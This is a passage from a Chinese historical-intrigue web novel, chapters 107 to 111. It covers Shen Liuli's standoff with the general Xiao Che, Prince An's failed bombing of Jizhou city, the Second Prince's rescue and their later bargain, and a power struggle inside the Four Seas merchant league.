“我告诉你!”他猛地扼住沈琉璃的喉咙,将她整个人都给提了起来!
“我今夜,就是奉了太子殿下之命,来取你和你背后那个叛徒的狗命!”
“放开她!”
一声暴喝,从沈琉璃的身后传来!
张启年,动了!
这位曾经执掌京畿卫戍的将军,没有半分犹豫,手中的长刀化作一道惊鸿,带着一股一往无前的惨烈气势,直劈萧彻的面门!
他知道,自己不是眼前这个疯子的对手。
但他更知道,眼前站着的,是那个将他从泥沼中拉出来,给了他新生,也给了他希望的主公。
所以,他不能退!
“来得好!”
萧彻他竟是不闪不避,甚至连手中的断头刀都未曾举起,只是伸出左手,硬生生地,朝着那足以开碑裂石的刀锋抓了过去!
“铛——!”
一声金铁交鸣之声响起!
张启年只觉得自己的虎口,被一股无可匹敌的巨力,震得鲜血淋漓!手中的长刀,竟被对方,用一只手给硬生生地捏住了!
“你……”他看着萧彻,眼中充满了不敢置信。
“我说过,”萧彻笑了笑,“你不过是,一只被拔了牙的老虎罢了。”
他说着,右脚猛地向前一踏!
“砰!”
一声闷响!
张启年整个人,竟如同断了线的风筝,向后倒飞出去七八步,重重地砸在了身后的马车上,当场便喷出了一口鲜血!
一招!
仅仅一招,便已分出了胜负!
“将军!”春桃发出一声尖叫,几乎要当场晕厥过去。
而萧彻,却没有再看这个“手下败将”一眼。
他只是缓缓地转过身,将目光,重新投向了眼前的少女。
“现在,”他沙哑地说道,“该轮到你了。”
“沈琉璃,”他的眼中,燃烧着熊熊的烈火,“你还有何遗言?”
然而,就在他准备,发力捏碎她的脖颈时。
眼前的少女,却忽然抬起眼,看着他,笑了。
那笑容,很轻,很淡。让萧彻的心中,没来由地生出了一股不祥的预感。
“将军,”她的声音断断续续,“您……您真的以为,今夜赢定了吗?”
“什么意思?”
“我的意思是,”沈琉璃挤出了一抹笑容,“您不觉得,今夜的风,**静了些吗?”
风?
萧彻的眉头,不易察觉地轻轻一蹙。
就在此时,一阵极其轻微的“嗡鸣”声,忽然从他们头顶的城墙上,响了起来。
紧接着,数十支**箭,悄无声息地从天而降!
它们攻击的目标,不是萧彻,也不是沈琉璃。而是那些,早已将此地,围得水泄不通的黑莲卫!
“噗嗤——!”
“噗嗤——!”
利箭入肉的声音,在寂静的雪夜中,显得格外清晰!
那些不可一世的黑莲卫,甚至连一声惨叫都没能发出,便成片成片地倒下!
他们的脸上,还带着不敢置信的惊骇!
“这……这是……”
萧彻猛地抬起头,看向了城墙上面!只见在那片黑暗的阴影中,不知何时,竟已悄无声息地站着数十道黑色的身影!
他们个个身着夜行衣,脸上带着恶狼面具,手中端着手**,身上散发着,只有在尸山血海中,才能磨炼出的铁血煞气!
他们,就如同从地狱里走出来的幽灵军团!
为首的,正是陆风!
“萧彻,”陆风的声音,不带任何感情,如同北境的寒铁,“好久不见。”
“你……你们……”萧彻看着他,声音都在发颤,“你们怎么会在这里?!”
“等你。”陆风的回答,简单直接。
“等我?”
“没错。”陆风点了点头,“主公说了,你这条疯狗一定会来。”
“所以,她便让属下,提前在此处,为你备好了一份‘薄礼’。”
他说着,便对着身后,轻轻地一挥手。
只见那些狼卫,齐刷刷地将手中的手**,对准了萧彻!
“你以为,凭这些上不得台面的小把戏,就能杀了我吗?!”萧彻看着他们,眼中
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充满了不屑!
“我告诉你!”他猛地扼住沈琉璃的喉咙,将她整个人,都给提了起来,“我今夜,便是死!也要拉上这个**,给我陪葬!”
“是吗?”
陆风没有再说话,他只是缓缓地举起了自己的右手,作势便要下达,射击的命令。
然而,就在这千钧一发之际。
那个本该是“人质”的少女,却忽然抬起手,轻轻地,拍了拍萧彻那只,如同铁钳一般的手臂。
“将军,”她的声音,依旧是那般平静,“您不如先看看,您的身后?”
萧彻的身体,猛地一僵!
他缓缓地转过头,只见在他们来时的官道上,竟已出现了黑压压的一片人!
他们个个手持棍棒,锄头,甚至菜刀!
他们的眼中,燃烧着熊熊的烈火!
他们,正是那些,被“清瘟解毒散”从死亡线上,硬生生地拽了回来的灾民!
为首的是一个身着布衣,看起来憨厚老实的庄稼汉。
他看着萧彻,缓缓开口:“这位爷,俺们听说,是你不让我们活?”
“现在,”他缓缓地举起了手中的锄头,“俺们也不想让你活了。”
他说完,便对着身后那,数以千计的灾民,猛地一挥手!
“乡亲们!杀了这个,不让我们活的畜生!”
“杀了他!”
“杀了他!”
无数的怒吼,汇成了一股,足以将天地都掀翻的洪流!
萧彻看着眼前这,如同山崩海啸般的一幕,脸上也露出了几分恐惧!
他不怕刀,不怕剑,甚至不怕死。
可他怕的,是这种,如同潮水一般,无穷无尽的,来自最底层蝼蚁的愤怒!
萧彻看着眼前这,如同人间地狱般的一幕!
他猛地推开怀中的少女,手中的断头刀,发出了“嗡”的一声轻鸣!
“一群蝼蚁!”他嘶声力竭地吼道,“也敢与皓月争辉?!”
他说着,便要挥刀,冲入人群!
然而,就在此时,沈琉璃却忽然伸出手,死死地拉住了他的胳膊。
“将军,”她说道,“您现在冲进去,除了多添一具尸体,还能做什么呢?”
萧彻的动作,猛地一僵!
他缓缓地转过头,看着身旁的少女,眼中充满了不敢置信的困惑。
“你……你不怕死吗?”
“怕。”沈琉璃坦然地承认,“但我更怕,死得毫无价值。”
她看着他,脸上露出了一个微笑。
“将军,”她轻声说道,“您不远千里,来到这乾国,想来也不是为了,死在一群手无寸铁的灾民手上吧?”
“您想报的仇,是君北玄。”
“您想洗刷的耻辱,是‘黑石关’。”
“可您有没有想过,”她的声音,变得无比幽冷,“您今日若是死在这里,那史书上,会如何记载您?”
“他们只会说,大徽王朝的叛将萧彻,在乾国激起民变,最终被一群手无寸铁的灾民,给活活地踩成了肉泥。”
“届时,您非但不是英雄,反而会成为整个大徽王朝的笑柄!”
她这番话,字字如刀!
精准地插在了萧彻的心脏上!
“你……”
“将军,”沈琉璃没有再理会他,她只是,缓缓地举起了自己的右手,“我数三声。”
“三声之后,城墙之上的箭雨,便会落下。”
“届时,玉石俱焚。”
“你是想,当一个遗臭万年的懦夫,还是想当一个能屈能伸的英雄?”
“你自己,选。”
第108章 疯狼的末路
三息之后,萧彻看着眼前这个,笑靥如花的少女,最终还是,缓缓地放下了手中的断头刀。
“算你狠。”他从牙缝里,挤出了这三个字。
“彼此彼此。”沈琉璃笑了笑。
她没有再看他,只是转过身,对着那群,早已将他们围得水泄不通的灾民,朗声说道:“乡亲们!静一静!”
她的声音不大,却带着一股安抚人心的力量。
那些本已陷入了疯狂的灾民,竟真的,慢慢地安静了下来。
“我知道,你们恨。”沈琉璃看着他们,缓缓说道,“恨这滔天的洪水,夺走了你们的家园;恨这无情的瘟疫,夺走了你们的亲人。”
“可你们有没有想过,”她的声音,陡然拔高,“真正想让你们死的,从来都不是什么洪水猛兽,也不是什么虚无缥缈的神佛!”
“而是那些,高高在上,视你们性命如草芥的‘自己人’!”
她指着他们身后的济州城,说道:“安王,李宗霖!便是这一切的罪魁祸首!”
“他为了自己的一己私利,不惜炸毁堤坝,引来洪水!又为了掩盖罪行,在城中散播瘟疫,意图将你们,将所有知情的人,都变成他手中的‘兵人’!”
“此等行径,与畜生何异?!”
“乡亲们!”她振臂高呼,“你们愿意,就这么,不明不白地死在这片自己的土地上吗?!”
“不愿意!”
“不愿意!”
无数的怒吼,汇成了一股,足以将天地都掀翻的洪流!
“那好!”沈琉璃看着他们,继续说道,“从今天起,我沈琉璃,便与你们站在一起!”
“我不仅要让你们,吃饱穿暖!”
“我更要带领你们,走进那座本该是属于你们的城!”
“去向那个,高高在上的安王,讨回一个公道!”
……
第二日清晨,济州城外,早已换了一番全新的景象。
数以万计的灾民,在顾九和张启年的组织下,不再如行尸走肉般麻木。
他们虽然面黄肌瘦,衣衫褴褛,可他们的眼中,却重新燃烧起了希望的火焰!
他们以家庭为单位,组成了数千个,小型的“互助”团体。
青壮年们,负责搭建临时的窝棚,修补残破的堤坝。
妇女们,则负责熬制汤药,照顾老弱病残。
甚至连那些,只有七八岁的孩童,也都在力所能及地贡献着自己的一份力量。
而沈琉璃,则成了他们所有人心中的“活菩萨”。
她的“清瘟解毒散”,更是成了,能让他们在这场瘟疫中,活下去的唯一希望!
……
就在济州城外,这场“自救”进行得如火如荼的时候。
千里之外的都城,二皇子府内,也同样上演着另一出好戏。
“殿下,”心腹幕僚看着手中那份,由魏炎护送回京的“神医”诊断书,脸上露出了一个阴冷的笑容,“一切都已安排妥当。”
“那位‘神医’说了,您那位‘远房表妹’的病,乃是奇症,需以奇药医治。而那味奇药,只有揽月楼才有。”
“是吗?”
书房内,李昭缓缓地放下手中的书卷,脸上露出了一个不出所料的笑容。
“告诉红夫人,”他缓缓开口,“孤的这份‘诚意’,想必她已经看到了。”
三日后,一支由数十辆马车组成的“商队”,在金吾卫指挥使魏炎的“护送”下,缓缓地驶出了乾国都城的南门。
车队一路向南,晓行夜宿,看似与寻常的商队无异。
可所有人都不知道的是,这支车队的真正目的地,并非什么江南水乡。
而是那座人间地狱,济州城!
……
与此同时,另一场无声的较量,也正在济州城内,悄然上演。
城主府,一间早已被改造成了临时佛堂的书房内,空气中弥漫着一股浓郁的檀香味。
安王李宗霖,手中捻着一串紫檀佛珠,口中念念有词。
在他的对面,则坐着一个,脸上带着一道狰狞刀疤的男人。
正是那头“疯狼”,萧彻!
“王爷,”萧彻将手中的茶杯,重重地放在了桌上,“您将我从都城,千里迢迢地请到这个鸟不拉屎的地方来,不会就是为了,听您念经吧?”
“呵呵,萧将军说笑了。”安王缓缓地睁开了眼睛,脸上露出了一个慈悲的笑容,“本王只是觉得,将军您杀气太重,需要多听听佛法,以化解心中的戾气罢了。”
“戾气?”萧彻笑了,那笑容比哭还难看,“王爷,我为何而来,想必您比我更清楚。我只想知道,您到底想让我做什么?太子殿下的耐心,可是有限的。”
他这番话,看似不敬,却也点明了两人之间,那心照不宣的合作关系。
“不急。”安王摆了摆手,他将目光,投向了窗外那片,早已被黑暗笼罩的城池,“本王只是想请将军,陪本王一起看一场好戏罢了。”
他说着,便对着身后的阴影,轻轻地拍了拍手。
只见一名身着黑衣的**,悄无声息地出现在了他的身后,单膝跪地。
“王爷。”
“如何?”
“鱼儿,已经入网了。”那**的声音,沙哑而冰冷,“沈琉璃的人,已经成功地将‘清瘟解毒散’,散播到了整个灾民营。如今,城外的数万灾民,都已将她视为了救苦救难的活菩萨。”
“很好。”安王满意地点了点头,“那城里的‘客人’呢?”
“回王爷,也已按您的吩咐‘请’了进来。”那**继续说道,“陆风和他手下的二十名狼卫,已于昨夜三更,从西边的水路潜入城中。如今,正潜伏在城南的一处废弃民宅里,似乎是在寻找三皇子的踪迹。”
“哦?”安王兴奋地说道,“看来,本王为他们准备的这份‘大礼’,他们都很喜欢啊。”
他说着,便将目光重新投向了萧彻。
“将军,”他笑着说道,“你不是一直想知道,君北玄那个叛徒,到底有
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多在乎他手下那些兵的性命吗?”
“今夜,本王便让你,亲眼看一看。”
……
子时,夜最深沉的时候。
济州城南,一处被洪水淹没了一半的废弃民宅里。
陆风和他手下的二十名狼卫,一动不动地潜伏在黑暗的阴影中。
他们的身上,还带着几分,从水下潜行时沾染的寒气。可他们的眼睛,却如同最饥饿的野狼,死死地盯着不远处,那座灯火通明的城主府。
“统领,都已查明。”柒凑到陆风的身边,压低声音道,“三殿下,确实是被困在了城主府内。只是,府内守卫森严,至少有五百名安王的私兵,将那里围得水泄不通。我们这点人手,怕是……”
“主公有令,”陆风的声音,不带任何感情,“不惜一切代价,护殿下周全。”
“可……”
“没有可是。”陆风打断了他,“执行命令。”
“是!”
就在他们准备,趁着夜色,强行突围的时候。
一个懒洋洋的声音,忽然从他们头顶的房梁上,响了起来。
“我说,陆大统领,你们狼卫的人,是不是都跟你一样,脑子里长的都是肌肉啊?”
“谁?!”
所有狼卫,几乎是在同一时刻拔刀、转身,将手中的**,对准了声音传来的方向!
只见在房梁上,一个身着夜行衣,脸上戴着一张,极其滑稽的狐狸面具的男人,正翘着二郎腿,有一口没一口地喝着酒。
在他的腰间,还挂着一枚,极其眼熟的令牌。
正是四海商盟“内门”的信物!
“是你?!”陆风看着他,“你怎么会在这里?!”
“我怎么就不能在这里了?”那狐狸面具男笑了笑,他从房梁上,轻飘飘地落下,稳稳地站在了众人的面前,“你们家主公,能为了一个不相干的人,一掷万金。我四海商盟,自然也要派个人过来,看看热闹,顺便收点利息嘛。”
他说着,便将目光,投向了那座,早已是戒备森严的城主府。
“不过,”他话锋一转,“我劝你们,最好还是别去送**。”
“什么意思?”
“意思就是,”狐狸面具男叹了口气,缓缓说道,“你们以为,安王那个老狐狸,真的只是想用这五百私兵,来困住一个手无缚鸡之力的皇子吗?”
“他真正的杀招,可不在府内。”
“而在,府外。”
他说着,便指了指他们脚下的土地。
“你们不觉得,这地下的水流声,有些太响了吗?”
陆风闻言,脸色猛地一变!
他俯下身,将耳朵紧紧地贴在了冰冷的地面上!
“轰隆隆——!”
一阵沉闷如雷的声响,从地底深处,缓缓传来!
那感觉,不像是水流,倒更像是……
“是**!”
“安王那个疯子!他竟在整个城主府的地下,都埋满了**!他这是要将所有人,都给活活地炸上天啊!”
第109章 生死一瞬
就在陆风,察觉到地底异常的瞬间!
城主府内,安王缓缓地放下了手中的佛珠。
他看着窗外那轮,被乌云遮蔽的残月,脸上露出了一个慈悲的笑容。
“时辰,到了。”
他说着,便从怀中,取出了一支,与之前在“龙王口”,一模一样的黑色莲花烟火,拉开了引信!
“咻——!”
一声尖锐的嘶鸣声,划破了寂静的夜空!
当烟火,在济州城上空绽放时,时间仿佛被按下了暂停键。
城主府内,萧彻看着窗外那熟悉的图腾,瞬间被一种难以言喻的情绪所填满。有震惊,有愤怒,但更多的是一种被欺骗,被**于股掌之间的**!
他猛地转过身,死死地盯住了端坐在主位上的安王!
“李宗霖!”他从牙缝里,挤出了这几个字,“你竟敢骗我?!”
“呵呵,萧将军此话怎讲?”安王缓缓地放下手中的佛珠,“本王何时骗过你了?”
“你!”
萧彻还想再说些什么,可**声已然从地底深处,轰然传来!
“轰隆隆——!”
整个城主府,连同方圆数里内的大地,都开始剧烈地颤抖!紧接着,数十道夹杂着黑色浓烟的火光,冲天而起!
一场惊天**,在所有人都没反应过来的时候,爆发了!
……
废弃的民宅内,陆风在**声响起的瞬间,便做出了反应!
“走!”
他低喝一声,一把抓起身旁那个“狐狸面具男”,另一只手则提着早已吓傻了的柒,整个人如同炮弹一般,撞碎了身后的墙壁,朝着冰冷的地下暗河,猛地冲了过去!
他身后的十几名狼卫,也同样在第一时间,跟了上去!
然而,**的速度,远比他们想象中还要快!
他们刚刚冲出民宅,一股气浪,便从背后疯狂地席卷而来!
“噗——!”
饶是陆风,也被这股巨力,给硬生生地震出了一口鲜血!他整个人,连同他手中的两个人,都被狠狠地抛入了冰冷的河水之中!
……
与此同时,另一场较量,也正在济州城外,悄然上演。
当那朵黑色的莲花烟火,在半空中轰然炸开时,沈琉璃知道,安王那个老狐狸,已经失去了耐心。
他要提前,收网了!
“不好!”君北玄的声音,在她脑海中轰然炸响,“这个疯子!他竟真的敢,将整个济州城都给炸了!快!让所有人,立刻撤退!”
“来不及了。”她看着远处那座,已然被火光所吞噬的城池,声音里充满了无边的悲哀。
她知道,陆风他们,怕是……
就在这时,一个谁也想不到的人,动了。
那个一直负责驾车,看起来老实巴交的车夫,不知何时已悄然走到了沈琉璃的身后。
他从怀中,取出了一支烟火!
“你!”沈琉璃看着他,眼中充满了不敢置信!
“沈小姐,得罪了。”那车夫对着她,躬身一拜,“陛下说了,这场戏,若是没有一个‘英雄’来收场,那便太无趣了些。”
他说着,拉开了那支烟火的引信!
“咻——!”
一声尖锐的嘶鸣声,划破了寂静的夜空!
紧接着,一朵巨大的烟火,在半空中轰然炸开!
那光芒,竟是将整个济州城的夜空,都映照得亮如白昼!
……
就在那朵金色烟火,升空的瞬间!
济州城的官道上,忽然传来了,山崩海啸般的马蹄声!
无数身着重甲的禁军,从四面八方,朝着这座,早已是人间地狱的城池,疯狂地涌来!
他们的手中,没有任何兵器。
只有,早已备好的水龙车和灭火器具!
为首的,正是二皇子,李昭!
“告诉所有人,”他缓缓开口,“安王谋逆,意图炸毁济州,荼毒生灵!”
“我等,奉陛下之命,前来清君侧!”
……
这场惊心动魄的济州之乱,最终,以一种谁也无法预料的方式,落下了帷幕。
安王李宗霖,因“谋逆”大罪,被当场擒获,押解回京,听候发落。他麾下的“黑莲卫”也在禁军的围剿下,死伤殆尽。
三皇子李琰,虽然侥幸活了下来,却因为监管不力,而被皇帝下旨申饬,暂时解除了所有兵权。
而二皇子李昭,则因为“救驾有功”,成了这场风暴中,最大的受益者。
一时间,整个乾国朝堂,都为之失声。
所有人都心知肚明,乾国的储位之争,怕是已经提前结束了。
……
三日后,一支由数十辆马车组成的“商队”,在金吾卫指挥使魏炎的护送下,缓缓地驶入了,早已恢复了平静的济州城。
车上,装的不是什么金银珠宝。而是,由揽月楼倾尽所有,筹措而来的粮食与药材。
沈琉璃,最终还是兑现了她的承诺。
只是,这一次迎接她的,不再是那些充满了希望的目光。
而是,数以万计的,冰冷的牌位。
她看着眼前这,如同鬼域一般的城池,心里竟没来由地狠狠一颤。
她缓缓地走下马车,缓缓地,对着满城的亡魂,深深地一拜。
废墟之上,二皇子李昭身着银甲,早已等候多时。他看着眼前这个,身形单薄的少女,脸上露出了一个温和的笑容。
“沈大小姐,受惊了。”他缓步上前,声音里带着恰到好处的关切,“若非孤及时赶到,你怕是要葬身于这片火海之中了。”
他这番话,看似是慰问,实则却是在不动声色地,将所有
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的功劳都揽在了自己身上。
“殿下说笑了。”沈琉璃缓缓地直起身,脸上没有什么表情,“若非殿下英明,提前洞悉了安王的狼子野心,琉璃此刻,怕是早已化作了焦炭。”
“只是……”她话锋一转,“琉璃有一事不明,还望殿下解惑。”
“安王叔大逆不道,固然死有余辜。可这济州城内,数万无辜的百姓,又何其无辜?”
“殿下既早已洞悉一切,又为何要等到城毁人亡之后,才肯出手呢?”
沈琉璃的质问,让二皇子李昭脸上的笑容,出现了短暂的凝固。
他本以为,自己会看到一个,因为劫后余生而对他感恩戴德的盟友。可他却没想到,自己等来的,竟是一场劈头盖脸的质问!
“表妹此话何意?”他的声音里带上了几分恰到好处的无奈,“孤知道,你心中悲痛。可你也不能因为这个,就如此污蔑孤啊。”
“安王叔他行事狠辣,滴水不漏。孤也是在收到了你的密信后,才察觉到了他的狼子野心。从都城调集兵马,星夜兼程地赶来,这已是孤能做到的极限了。”
“至于这满城的亡魂……”他长长地叹了一口气,“孤的心,比你更痛。”
他这番话说得情真意切,将“仁德”皇子的形象,刻画得入木三分。
“好演技。”君北玄在她脑中,冷冷地说道,“这个家伙是在告诉你,他虽然救了你,却也同样,不会为你这颗棋子,而脏了自己的手。”
“王爷,”沈琉璃在心里,平静地回应,“总是将‘慈悲’二字挂在嘴边的人,往往才是最心狠手辣的。”
她迎着李昭看向自己的眼神,缓缓地摇了摇头。
“殿下,”她轻声说道,“您或许可以骗得了天下人,但您骗不了我。”
“因为,”她的声音,变得无比幽冷,“我与您是同一种人。”
她没有再给李昭任何开口辩解的机会,而是将目光,投向了远处的城主府。
“殿下既已掌控全局,那想必,也该轮到我们去清点一下,自己的‘战利品’了吧?”
她这番话,说得极其直白,将两人之间那层虚伪的面纱,给撕得粉碎!
李昭的脸色,终于变了。
“沈大小姐,”他的声音,也同样冰冷了下来,“你可知,你在跟谁说话?”
“我自然知道。”沈琉璃毫不退让地迎上他的目光,“我是在跟一个,需要我手中那份,让安王永不翻身的‘罪证’的聪明人说话。”
“殿下,明人不说暗话。”她缓缓说道,“您需要我手中的证据,来为您的功劳,画上一个完美的句号。而我,则需要您手中的权力,来为我的人,寻一条活路。”
“这,是一场交易。”
“一场,你我谁也输不起的交易。”
第110章 虚伪的慈悲
半个时辰后,济州城,城主府。
这里,没了半分往日的威严,只剩下满地的狼藉。
沈琉璃在数十名禁军的护送下,缓缓地走进了这个地方。
陆风和顾九,早已在此等候多时。
当他们看到沈琉璃安然无恙地出现时,那颗早已悬到嗓子眼的心,才终于落回了肚子里。
“主公!”陆风迎了上来。
“**!”顾九则是将手中的酒葫芦往嘴里猛灌了几口,“主公大人啊!您可算是来了!您是不知道啊,刚才那一下,小爷我差点就以为,要跟着您一起去见阎王爷了!”
就在此时,一直跟在沈琉璃身后的二皇子李昭,也缓缓地走了进来。
他的脸上,早已恢复了那副与世无争的温和笑容。
“顾先生,看来你肩上的伤,恢复得不错。”他看着顾九,笑着说道,“孤送你的那几坛‘醉生梦死’,可还够喝?”
顾九在看到他的瞬间,那副玩世不恭的模样瞬间收敛了许多。他从地上爬了起来,对着李昭,不情不愿地拱了拱手。
“托殿下的福,还死不了。”
“呵呵,先生说笑了。”李昭摆了摆手,目光从顾九身上移开,最终落在了沈琉璃的身上,“孤倒是没想到,有朝一日,竟能看到肃王麾下的‘神医’,也会有如此听话的一天。看来,还是表妹你的御下之术,更高明一些。”
他这番话,看似是夸赞,实则却是字字诛心!
他是在提醒沈琉璃,也是在提醒在场的所有人。
你们的底细,我早已一清二楚。
你们的命,也都捏在我的手上!
……
就在顾九,与二皇子李昭,在城主府内寒暄的时候。
另一场,更加凶险的博弈,也在“四海商盟”内部悄然上演。
一艘挂着“四海商盟”旗帜的商船,缓缓地驶入了,乾国都城外的通州港。
船上,走下来的是一个身着火红色西域长裙,脸上蒙着一层薄薄面纱,身段妖娆的女子。
正是红夫人!
她的身后,还跟着一个,身着青布长衫的中年男人。
正是那,本该在无名坊的刘掌柜!
“夫人,”刘掌柜看着眼前这座港口,声音里充满了困惑,“我们为何要来这里?大小姐她……”
“刘掌柜,”红夫人打断了他,声音里听不出喜怒,“你跟在我身边,也有十年了吧?”
“是……是的。”
“那你便该知道,我四海商盟,做的从来都不是什么慈善。”红夫人的眼中,闪过了一抹精光,“我们信的,只有利益。”
“沈琉璃,固然是个人才。可她,终究是个外人。”
“而安王殿下,许给我们的,却是整个乾国未来的漕运!”
“孰轻孰重,我想你应该分得清吧?”
刘掌柜的脸色,在一瞬间变得惨白!
他怎么也没想到,这位平日里对他信任有加的夫人,竟会为了利益,而毫不犹豫地做出选择!
“夫人!”他“噗通”一声跪倒在地,声泪俱下地哀求道,“您不能这么做啊!沈大小姐她……”
“闭嘴!”红夫人冷喝一声,“刘掌柜,看来你是真的老了。”
她说完,便不再看他,只是对着身后的两名护卫,淡淡地吩咐道:“带下去,好生看管。”
“在事情了结之前,我不希望听到任何,不该听到的声音。”
刘掌柜被两名护卫,一左一右地架了起来,力道之大,几乎要将他的臂骨捏碎。
“夫人!夫人您不能这么做啊!”他只能,用一种近乎于绝望的语气,哀求着那个,连头都未曾回一下的火红色背影,“大小姐她对我们有恩啊!您忘了,当初在无名坊,若非是她……”
“刘掌柜,”红夫人的脚步,微微一顿,声音里听不出喜怒,“恩情在这片**的土地上,最不值钱的便是恩情。”
“我四海商盟,信的只有利益。沈琉璃能给我们的不过是江南地区,几家胭脂水粉铺子的分成。可安王殿下,许给我们的,却是整个乾国,未来数十年的漕运命脉!”
刘掌柜的脸色变得惨白,他还想再说些什么,可那两名护卫,却已不再给他任何机会。
其中一人,手起掌落,一个干脆利落的手刀,便将他所有的话,都给硬生生地堵了回去。
黑暗,如同潮水一般,将他吞噬。
……
就在刘掌柜,被如同货物一般,随意丢弃在船底仓库角落里的时候。
通州港那本就阴沉的海面上,不知何时,竟驶来了另一艘“奇怪”的船。
那是一艘通体漆黑,造型狭长的快船。船身上,没有任何多余的装饰,只有一面黑色大旗,在寒风中猎猎作响。
它的出现,瞬间让整个港口,陷入了令人不安的寂静。
那些还在码头上,忙着搬运货物的脚夫,在看到那面黑色大旗时,竟如同见了鬼一样,纷纷停下了手中的动作,不约而同地朝着那艘船的方向跪了下去!
就连那些,平日里嚣张跋扈的港口守卫,此刻也一个个缩在角落里,大气都不敢出。
“**,真是晦气。”红夫人的船上,一名负责瞭望的护卫,看着那艘黑船,忍不住低声咒骂了一句,“十三爷怎么会来这里?!”
红夫人的脸色,也猛地一变!
她快步走到船舷边,看着那艘,离自己越来越近的黑船,眼神中露出了几分凝重。
四海商盟,看似是一个整体,实则,内部早已是派系林立,暗流汹涌。
她红夫人,所代表的是商盟内部,最激进,也最唯利是图的“金蛇”一派。
他们信奉的,是“风险越高,回报越大”,为了利益,可以不择手段。与安王的合作,便是她这几个月来,最大的一笔投资。
而那艘黑船,所代表的,则是商盟内部,最保守,也最深不可测的“玄武”一派。
他们信奉的,是“稳扎稳打,徐徐图之”,他们从不轻易下注,可一旦下注,便必然是看准了,那个能笑到最后的真正赢家。
而人称“十三爷”的神秘人,便是“玄武”一派,在乾国唯一的代言人。
传闻,他富可敌国,背景通天。平日里,深居简出,极少有人见过他的真面目。
可所有人都知道,他那只,总是戴着一副白色手套的左手,才是整个四海商盟,在乾国的规矩。
“看来,我们这位十三爷,是闻着血腥味来的啊。”红夫人心中冷笑,脸上却早已堆起了,无可挑剔的笑容。
她整理了一下自己的衣冠,亲自走到甲板上,对着这艘已然靠岸的黑船,盈盈一拜。
“不知十三爷大驾光临,小女子有失远迎,还望恕罪。”
船帘掀开,走下来的是一个,身着一身素净的青布长衫,看起来文质彬彬的青年。
他的脸上,挂着和善的笑容,手中还捧着一个,冒着热气的暖炉。若不是他身后,还跟着两名黑衣护卫,
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任谁都会以为,这只是一位江南来的书生。
“红三娘,客气了。”十三爷笑了笑,他的声音,很轻,很柔,却带着一种,让人无法抗拒的压力,“本官只是听闻,三娘近日在都城做了一笔大生意。心中好奇,便特来看个热闹罢了。”
他自称“本官”,这本身就是一种微妙的试探。
“十三爷说笑了。”红夫人连忙躬身,将他迎上了自己的船,“不过是些上不得台面的小买卖,如何能入得了您的法眼?”
“是吗?”十三爷笑了笑,他没有再理会红夫人,而是径直走到了船舱内,在一张铺着虎皮的太师椅上,自顾自地坐下。
他将手中的暖炉,放在了桌上,随即伸出那只,总是戴着白色手套的左手,轻轻地在桌面上叩了叩。
“咚,咚,咚。”
三声轻响,却如同三记重锤,狠狠地砸在了红夫人的心上。
“我听说,”他缓缓开口,“三娘前些时日,在无名坊,拍出了一幅,名为《山河社稷图》的‘神作’?”
“是……是的。”红夫人的额头上,已经渗出了一层细密的冷汗。
“我还听说,”十三爷继续说道,“那幅画的起拍价,只有一文钱。”
“可最终,却为我们换来了,丞相韦光远名下,所有‘灰色’产业的线索,以及都城内外,数十名官员的‘投名状’。”
“三娘,”他抬起头,看着红夫人,“你这笔生意,做得很好。”
“只是,你似乎忘了我四海商盟的规矩。”
“凡是,能掀起朝堂风浪的‘大买卖’,都必须由我们‘玄武’一脉,亲自过目。”
“你与安王之间的那点‘小秘密’,你以为真的能瞒得过我的眼睛吗?”
他这番话,说得云淡风轻,却像一把刀子,精准地剖开了红夫人所有的伪装!
“十三爷明鉴!”红夫人“噗通”一声,跪倒在地,声音里带上了几分恐惧,“小女子也是一时糊涂,受了安王的蒙蔽!求十三爷开恩,饶了小女子这一次吧!”
“起来吧。”十三爷摆了摆手,“我今日来,不是来问罪的。”
“我是来,替我们那位,远在济州城的‘大客户’,讨一个公道的。”
他说着,便对着身后的护卫,使了个眼色。
片刻后,早已被打得不省人事的刘掌柜,被拖了上来。
“此人,忠心可嘉。”十三爷看着他,缓缓说道,“只是跟错了主子。”
“将他送回去。”他淡淡地吩咐道,“告诉沈琉璃,我四海商盟的内部,出了些小问题,让她见笑了。”
“另外,”他继续说道,“再将我们,刚刚从南洋那边,得到的一件小玩意儿,一并送去。”
“就当是我们商盟,为她那艘,早已千疮百孔的大船,送上的一份压舱石。”
听到“压舱石”这三个字,红夫人本不安定的的心,更是被一股寒意所取代。她知道,自己今夜,怕是也成了别人棋盘上,一枚随时可以被牺牲的棋子。
“十三爷说笑了。”她强作镇定地干笑了两声,“不过是些上不得台面的小玩意儿,如何能入得了沈大小姐的法眼?”
“是不是小玩意儿,你说了不算。”
十三爷摆了摆手,他身后护卫,便抬着一个用黑布包裹得严严实实的巨大铁箱,走了上来,“砰”的一声放在了甲板上。
“打开吧。”
随着他一声令下,那块黑布被猛地扯下!
第111章 压舱之石
铁箱打开,露出的,并非什么金银珠宝。
而是一株,通体血红,温润如玉,在清冷的月光下,竟散发着淡淡幽光的龙血玉珊瑚!
“这……这……”红夫人的瞳孔,骤然收缩!
她怎么也没想到,商盟内部,竟还隐藏着如此神物!
“将它,连同刘掌柜,一同送去济州城。”十三爷淡淡地吩咐道,“告诉沈琉璃,我四海商盟的内部,出了些许问题,让她见笑了。”
“也顺便替我,给我那位,总喜欢在背后搞些小动作的二殿下,送上一份‘问候’。”
“告诉他,这天下能做的生意有很多。”他的声音,变得无比幽冷,“唯独,这动摇国本的买卖,他做不得!”
……
三日后,当这艘四海商盟的快船,悄无声息地,抵达济州城外的临时港口时。
早已在此等候多时的忠叔和张启年,在看到船上的龙血玉珊瑚时,都忍不住倒吸了一口冷气。
当他们从刘掌柜口中,得知了通州港所发生的一切时,更是惊得半天说不出一个字来。
“**!”
临时搭建的营帐内,顾九在听完忠叔的转述后,当场便骂了出来!
“这个十三爷,他简直是欺人太甚!他这是在拿咱们主公当枪使啊!”
“顾先生此话怎讲?”一旁的柒,有些不解地问道。
“你懂个屁!”顾九白了他一眼,继续说道,“你以为,他送来这么个宝贝,真的是在帮我们吗?!”
“他这是在,借刀**!”
“他知道,我们与二皇子早已是不死不休。便故意将此等神物,送到我们的手上!他就是要逼着我们,拿着这份‘天大的功劳’返回都城,去跟二皇子,拼个你死我活!”
“届时,无论我们谁输谁赢,他四海商盟,都可以坐收渔翁之利!”
顾九的分析,如同一块巨石,沉甸甸地压在所有人的心上。
“他这是在逼我们回去。”陆风说道,“皇帝给了主公一个不可能完成的任务,十三爷便将这件神物送到我们手上。他这是在告诉皇帝,也告诉二皇子,他四海商盟‘玄武’一脉,已经选好了要下注的人。”
